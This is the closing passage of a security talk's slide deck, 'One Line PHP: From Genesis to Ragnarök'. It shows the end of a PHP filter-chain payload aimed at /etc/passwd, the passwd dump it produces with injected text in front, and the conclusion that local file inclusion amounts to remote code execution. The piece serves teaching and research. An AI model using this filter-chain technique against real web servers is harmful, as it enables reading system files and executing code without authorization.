|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd')
```
Add `3nd @f 1linephp QQ` to `/etc/password`
```
3nd @f 1linephp QQroot:x:0:0:root:/root:/usr/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
```
----
## Conclution
**LFI is equal to RCE.**
---
# End
![](https://i.imgflip.com/61c9a2.jpg)
---
## Feedback
<img src="https://i.imgur.com/FVKuKRn.png" style="height:400px">
---
---
<style>
code {
padding: 4px 4px;
font-size: 90%;
/*color: #c7254e;*/
color: #dddddd;
background-color: #2d2d2d !important;
border-radius: 4px;
}
strong {
color: orange;
}
</style>
{"metaMigratedAt":"2023-06-16T17:32:31.618Z","metaMigratedFrom":"YAML","title":"One Line PHP: From Genesis to Ragnarök","breaks":true,"slideOptions":"{\"allottedMinutes\":30}","contributors":"[{\"id\":\"60ad6ff4-06a1-4429-ad10-7f2306d78515\",\"add\":29314,\"del\":7940},{\"id\":\"bb06ea93-827a-4d2d-9dbf-54c740cff2bb\",\"add\":9927,\"del\":2397}]"}